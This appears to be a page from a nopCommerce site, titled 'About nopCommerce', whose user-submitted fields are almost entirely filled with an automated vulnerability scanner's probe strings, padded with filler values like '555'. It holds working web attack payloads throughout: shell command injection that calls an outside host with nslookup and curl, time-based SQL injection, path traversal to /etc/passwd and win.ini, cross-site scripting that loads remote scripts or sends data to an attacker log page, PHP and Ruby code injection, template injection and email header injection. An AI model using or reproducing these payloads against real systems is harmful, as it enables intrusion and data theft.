About nopCommerce

555

555

555

1BHlAxKBaAO

555

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

555

response.write(9920274*9387428)

'+response.write(9920274*9387428)+'

555

"+response.write(9920274*9387428)+"

555

9sMnLiHH

555

555

555

555

echo mfoxvf$()\ ovyfdj\nz^xyu||a #' &echo mfoxvf$()\ ovyfdj\nz^xyu||a #|" &echo mfoxvf$()\ ovyfdj\nz^xyu||a #

555

&echo azdawo$()\ dfhkxt\nz^xyu||a #' &echo azdawo$()\ dfhkxt\nz^xyu||a #|" &echo azdawo$()\ dfhkxt\nz^xyu||a #

555

555

|echo nczajz$()\ aopnea\nz^xyu||a #' |echo nczajz$()\ aopnea\nz^xyu||a #|" |echo nczajz$()\ aopnea\nz^xyu||a #

555

(nslookup -q=cname hitmfhhmdwcfge4bdb.bxss.me||curl hitmfhhmdwcfge4bdb.bxss.me))

$(nslookup -q=cname hitueybeosmobd2e51.bxss.me||curl hitueybeosmobd2e51.bxss.me)

../../../../../../../../../../../../../../etc/passwd

555
bcc:074625.0-608349.0.9c61e.20255.2@bxss.me

&nslookup -q=cname hitukaxugglde80419.bxss.me&'\"`0&nslookup -q=cname hitukaxugglde80419.bxss.me&`'

../../../../../../../../../../../../../../windows/win.ini

to@example.com>
bcc:074625.0-608350.0.9c61e.20255.2@bxss.me

&(nslookup -q=cname hitumqyehvlbp7c799.bxss.me||curl hitumqyehvlbp7c799.bxss.me)&'\"`0&(nslookup -q=cname hitumqyehvlbp7c799.bxss.me||curl hitumqyehvlbp7c799.bxss.me)&`'

file:///etc/passwd

555

|(nslookup -q=cname hitkjwknbeakr1636d.bxss.me||curl hitkjwknbeakr1636d.bxss.me)

555

555

`(nslookup -q=cname hitniebuojynuea37c.bxss.me||curl hitniebuojynuea37c.bxss.me)`

../555

;(nslookup -q=cname hitbllwhkzdbzabd22.bxss.me||curl hitbllwhkzdbzabd22.bxss.me)|(nslookup -q=cname hitbllwhkzdbzabd22.bxss.me||curl hitbllwhkzdbzabd22.bxss.me)&(nslookup -q=cname hitbllwhkzdbzabd22.bxss.me||curl hitbllwhkzdbzabd22.bxss.me)

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

-1 OR 2+993-993-1=0+0+0+1 --

555

-1 OR 2+945-945-1=0+0+0+1

-1' OR 2+998-998-1=0+0+0+1 --

555

-1' OR 2+732-732-1=0+0+0+1 or '2aUdOqK6'='

555

-1" OR 2+77-77-1=0+0+0+1 --

555

if(now()=sysdate(),sleep(15),0)

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555<esi:include src="http://bxss.me/rpb.png"/>

-1; waitfor delay '0:0:15' --

555

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

555

1 waitfor delay '0:0:15' --

ynZIGhPy'; waitfor delay '0:0:15' --

${9999522+10000158}

oZboFdhn'); waitfor delay '0:0:15' --

555

p5yAjIwA')); waitfor delay '0:0:15' --

-5 OR 81=(SELECT 81 FROM PG_SLEEP(15))--

555

-5) OR 84=(SELECT 84 FROM PG_SLEEP(15))--

-1)) OR 637=(SELECT 637 FROM PG_SLEEP(15))--

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

2LQtwa5O' OR 749=(SELECT 749 FROM PG_SLEEP(15))--

JTaPpBkr') OR 827=(SELECT 827 FROM PG_SLEEP(15))--

Http://bxss.me/t/fit.txt

5hBhlYaL')) OR 254=(SELECT 254 FROM PG_SLEEP(15))--

http://bxss.me/t/fit.txt?.jpg

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

/etc/shells

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

c:/windows/win.ini

1'"

bxss.me

555

@@vXwGJ

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

)

555

!(()&&!|*|*|

555

^(#$!@#$)(()))******

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

'.gethostbyname(lc('hitvz'.'eeodeqsg8c66c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(73).chr(101).chr(78).'

".gethostbyname(lc("hitvx"."rngigobh513cf.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(78).chr(98).chr(70)."

555

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

555

555

555

555

555

555

555

555

555

555

555

555

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

555

555

555

555

"+"A".concat(70-3).concat(22*4).concat(118).concat(90).concat(119).concat(87)+(require"socket"
Socket.gethostbyname("hitsn"+"obripyfoeb341.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(121).concat(75).concat(99).concat(79)+(require'socket'
Socket.gethostbyname('hitvu'+'nnotmydz9ee4c.bxss.me.')[3].to_s)+'

555

555

555

555

NewsCommentAdd

NewsCommentAdd/.

555

555

555

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

555

555

555

555

xfs.bxss.me

555

555

555

555

555

555

555

'"

555

<!--

555

555

555

555

555&n926904=v983488

555

555

555

555

555

'"()

555'&&sleep(27*1000)*prewwu&&'

555"&&sleep(27*1000)*ktjiwg&&"

555'||sleep(27*1000)*zbfinm||'

555"||sleep(27*1000)*gjtvwx||"

1

555

555

1

555

555

555

555

555

555

555

555

555

555'"()&%<zzz><ScRiPt >6ms8(9278)</ScRiPt>

555

555

555

555

555

555

'"()&%<zzz><ScRiPt >6ms8(9695)</ScRiPt>

5559016733

bfg3148＜s1﹥s2ʺs3ʹhjl3148

bfgx9098%C0%BEz1%C0%BCz2a%90bcxhjl9098

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

1

1

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >6ms8(9109)</ScRiPt>

555<WUZLK2>TET0F[!+!]</WUZLK2>

555<script>6ms8(9562)</script>

555<ScR<ScRiPt>IpT>6ms8(9264)</sCr<ScRiPt>IpT>

555<ScRiPt
>6ms8(9669)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9800></ScRiPt>

555<isindex type=image src=1 onerror=6ms8(9887)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9733'>

555<body onload=6ms8(9518)>

555<img src=//xss.bxss.me/t/dot.gif onload=6ms8(9227)>

555<img src=xyz OnErRor=6ms8(9616)>

555<img/src=">" onerror=alert(9468)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%36%6D%73%38%289143%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\6ms8(9789)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;6ms8(9370)&lt;/sCripT&gt;

%F6<img zzz onmouseover=6ms8(99461) //%F6>

1

1

1

1CHx4Zs2XQO

1

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

1

response.write(9786245*9843529)

'+response.write(9786245*9843529)+'

"+response.write(9786245*9843529)+"

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

../../../../../../../../../../../../../../windows/win.ini

1

file:///etc/passwd

1

1

1

1

../1

1

1

1

1

1

1

1

1

555<input autofocus onfocus=6ms8(9338)>

1

1

1

1

1

1%0abcc:074625.0-633521.0.df95e.20255.2@bxss.me

1

to@example.com>%0d%0abcc:074625.0-633522.0.df95e.20255.2@bxss.me

1

1

1

1

1

1

-1 OR 2+759-759-1=0+0+0+1 --

-1 OR 2+617-617-1=0+0+0+1

-1' OR 2+437-437-1=0+0+0+1 --

-1' OR 2+731-731-1=0+0+0+1 or 'UQpOZSLF'='

-1" OR 2+552-552-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

OAdydEKV'; waitfor delay '0:0:15' --

tfVilOTG'); waitfor delay '0:0:15' --

n7A2ENm3')); waitfor delay '0:0:15' --

-5 OR 935=(SELECT 935 FROM PG_SLEEP(15))--

-5) OR 76=(SELECT 76 FROM PG_SLEEP(15))--

-1)) OR 192=(SELECT 192 FROM PG_SLEEP(15))--

z61Vj4lU' OR 29=(SELECT 29 FROM PG_SLEEP(15))--

CWjgqVEV') OR 302=(SELECT 302 FROM PG_SLEEP(15))--

U4R0ZT0C')) OR 215=(SELECT 215 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@cv8AM

1

1

1

1<esi:include src="http://bxss.me/rpb.png"/>

1

${9999121+10000265}

1

1

1

1

1

1

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt%3F.jpg

/etc/shells

c:/windows/win.ini

bxss.me

1

1

1

)

!(()&&!|*|*|

^(#$!@#$)(()))******

1

1

1

'.gethostbyname(lc('hitvf'.'jqlkkwqh2bf97.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(67).chr(113).chr(74).'

".gethostbyname(lc("hitqz"."sqjlckcc274d7.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(65).chr(103).chr(77)."

echo obioli$()\ wvrrvs\nz^xyu||a #' &echo obioli$()\ wvrrvs\nz^xyu||a #|" &echo obioli$()\ wvrrvs\nz^xyu||a #

&echo uwmmya$()\ uphipt\nz^xyu||a #' &echo uwmmya$()\ uphipt\nz^xyu||a #|" &echo uwmmya$()\ uphipt\nz^xyu||a #

|echo bmhctq$()\ yxcepu\nz^xyu||a #' |echo bmhctq$()\ yxcepu\nz^xyu||a #|" |echo bmhctq$()\ yxcepu\nz^xyu||a #

(nslookup -q=cname hiteqwhwsipxw33364.bxss.me||curl hiteqwhwsipxw33364.bxss.me))

$(nslookup -q=cname hitdtejwxklld0960f.bxss.me||curl hitdtejwxklld0960f.bxss.me)

&nslookup -q=cname hitgslcofitfh7df65.bxss.me&'\"`0&nslookup -q=cname hitgslcofitfh7df65.bxss.me&`'

1

1

&(nslookup -q=cname hitdhdepslguxfd306.bxss.me||curl hitdhdepslguxfd306.bxss.me)&'\"`0&(nslookup -q=cname hitdhdepslguxfd306.bxss.me||curl hitdhdepslguxfd306.bxss.me)&`'

1

HttP://bxss.me/t/xss.html?%00

|(nslookup -q=cname hitzxpybzxjpg1e76e.bxss.me||curl hitzxpybzxjpg1e76e.bxss.me)

1

`(nslookup -q=cname hitgqyxsfjrgf4da1c.bxss.me||curl hitgqyxsfjrgf4da1c.bxss.me)`

bxss.me/t/xss.html?%00

;(nslookup -q=cname hitufcxfxbgju48a95.bxss.me||curl hitufcxfxbgju48a95.bxss.me)|(nslookup -q=cname hitufcxfxbgju48a95.bxss.me||curl hitufcxfxbgju48a95.bxss.me)&(nslookup -q=cname hitufcxfxbgju48a95.bxss.me||curl hitufcxfxbgju48a95.bxss.me)

1

1

1

<a HrEF=http://xss.bxss.me></a>

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

';print(md5(31337));$a='

"+"A".concat(70-3).concat(22*4).concat(113).concat(65).concat(97).concat(73)+(require"socket"
Socket.gethostbyname("hitbq"+"lcocjxivb27a6.bxss.me.")[3].to_s)+"

";print(md5(31337));$a="

'+'A'.concat(70-3).concat(22*4).concat(99).concat(88).concat(114).concat(85)+(require'socket'
Socket.gethostbyname('hitjb'+'wyihmzxz4631d.bxss.me.')[3].to_s)+'

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

'"

<!--

1

1

<a HrEF=jaVaScRiPT:>

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

555}body{zzz:Expre/**/SSion(6ms8(9261))}

1

1

1

1

1

555XSPiL
<ScRiPt >6ms8(9944)</ScRiPt>

1

555<W0KTRG>IHBGT[!+!]</W0KTRG>

'"()

1'&&sleep(27*1000)*wmuvgt&&'

1"&&sleep(27*1000)*iczftz&&"

1'||sleep(27*1000)*hxjxpv||'

1"||sleep(27*1000)*gdkopm||"

1

555<ifRAme sRc=9861.com></IfRamE>

555<aqkQ0aQ x=9269>

555<img sRc='http://attacker-9082/log.php?

555<aToeo2X<

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555